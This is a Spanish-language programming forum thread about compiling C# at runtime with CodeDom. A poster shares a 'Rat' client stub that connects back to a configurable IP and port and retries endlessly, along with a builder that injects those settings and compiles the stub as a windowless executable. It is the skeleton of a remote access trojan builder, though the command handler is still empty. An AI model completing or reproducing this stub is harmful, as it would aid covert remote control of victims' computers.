No somos adivinos, por favor no me hagas repetirte esto en el futuro.
Cómo mínimo da los detalles necesarios y esenciales cuando tengas "X" error, muestra el o los mensajes de error, que no tengamos que estar preguntándote por algo tan básico para poder entender que error tienes y ofrecerte ayuda.
El código que has mostrado es literálmente
nada, ya que un código fuente necesita seguir una estructura para poder ser compilado.
Esto sería un ejemplo de un código compilable, una aplicación de consola, donde cómo ves hay un punto de entrada (método
Main) dentro de una clase que a su vez está dentro de un espacio de nombres:
using System;
namespace MainNamespace
{
class MainClass
{
static void Main(string[] args)
{
// Tú código aquí.
}
}
}
Aparte de eso, recuerda que estás dependiendo del namespace
System.Windows.Forms (
SaveFileDialog), por lo que aparte de añadir la referencia a dicho ensamblado usando los parámetros del compilador, debes añadir la correspondiente directiva
using en tu código fuente, y lo mismo con cualqueir otro namespace que requieras.
Por último, en el proveedor debes especificar el nombre completo del miembro principal, que en el código de ejemplo que he mostrado sería el siguiente:
...
CodedomProvider provider
= new CSharpCodeProvider
(); provider.MainClass = "MainNamespace.MainClass";
...
EDITO:Y esta instrucción, elimínala, aparte de que no hay necesidad de compilar bajo
NetFx 2.0, si utilizas ensamblados que requieran una versión superior (ej:
System.Linq.dll) no podrás compilar. Deja que la lógica del proveedor elija la versión adecuada por si mismo:
Aquí puedes ver un ejemplo más detallado que desarrollé:
➢
Librería de Snippets para VB.Net !!Saludos.
Perdón,aquí va mi segundo intento.
Quiero dar la opción al usuario que use de mi programa de poder crear su propio server,y para ello edita el client a la respectiva ip y puerto.
Código del client:
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Rat
{
class Client
{
private string ipG = @"<replace_ip>";
private int portG = 2341;
private string keyG = @"<replace_key";
private string nameG = @"<replace_name>";
static void Main(string[] args)
{
Client cl
= new Client
(); cl.tryConexion(cl.ipG, cl.portG,false);
}
public string tryConexion(string ip, int port,bool isTest)
{
try
{
TcpClient client
= new TcpClient
(ip, port
); if(isTest == false)
handlePackets(client);
return "Conexion works";
}
catch
{
if(isTest == false)
tryConexion(ip, port,false);
return "deny";
}
}
public void handlePackets(TcpClient client)
{
try
{
NetworkStream stream = client.GetStream();
Byte[] buffer
= new Byte[client
.Available]; while (client.Connected)
{
buffer
= new Byte[client
.Available]; stream.Read(buffer, 0, buffer.Length);
doAction(Encoding.ASCII.GetString(buffer));
stream.Flush();
Thread.Sleep(1);
}
}
catch
{
tryConexion(ipG, portG,false);
}
}
public void doAction(string packet)
{
string[] packetParam = packet.Split('<');
switch (packet)
{
}
}
}
}
,El código del client lo guardo en un .txt en la carpeta resources y luego lo convierto en string.
string source = Properties.Resources.client;
después lo edito siguiendo los datos que haya dado el usuario
source = source.Replace("<replace_ip>", ipTxt.Text);
source = source.Replace("2341", portTxt.Text);
source = source.Replace("<replace_key", keyTxt.Text);
source = source.Replace("<replace_name>", nameTxt.Text);
y finalmente lo intento compilar:
bool success = Compiler.CompileFromSource(source, FSave.FileName);
Y aquí lo que lo compila
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
{
CompilerParameters CParams
= new CompilerParameters
(); CParams.GenerateExecutable = true;
CParams.OutputAssembly = Output;
string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
if (Icon != null)
options += " /win32icon:\"" + Icon + "\"";
CParams.CompilerOptions = options;
CParams.TreatWarningsAsErrors = false;
CParams.ReferencedAssemblies.Add("System.dll");
CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
CParams.ReferencedAssemblies.Add("System.Drawing.dll");
CParams.ReferencedAssemblies.Add("System.Data.dll");
CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");
CParams.ReferencedAssemblies.Add("System.Net.dll");
CParams.ReferencedAssemblies.Add("System.Net.Sockets.dll");
CParams.ReferencedAssemblies.Add("Microsoft.Text.dll");
CParams.ReferencedAssemblies.Add("Microsoft.Threading.dll");
if (Resources != null && Resources.Length > 0)
{
foreach (string res in Resources)
{
CParams.EmbeddedResources.Add(res);
}
}
Dictionary
<string,
string> ProviderOptions
= new Dictionary
<string,
string>(); ProviderOptions.Add("CompilerVersion", "v4.0");
CompilerResults Results
= new CSharpCodeProvider
(ProviderOptions
).CompileAssemblyFromSource(CParams, source
); if (Results.Errors.Count > 0)
{
MessageBox.Show(string.Format("The compiler has encountered {0} errors",
Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
MessageBoxIcon.Error);
foreach (CompilerError Err in Results.Errors)
{
MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
Err.Line, Err.Column, Err.FileName), "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
return false;
}
else
{
return true;
}
}
Y al compilar,me da estos errores:
https://gyazo.com/4d0dfac4a26487fc096390f835ec6930Debo de poner los dll junto al programa?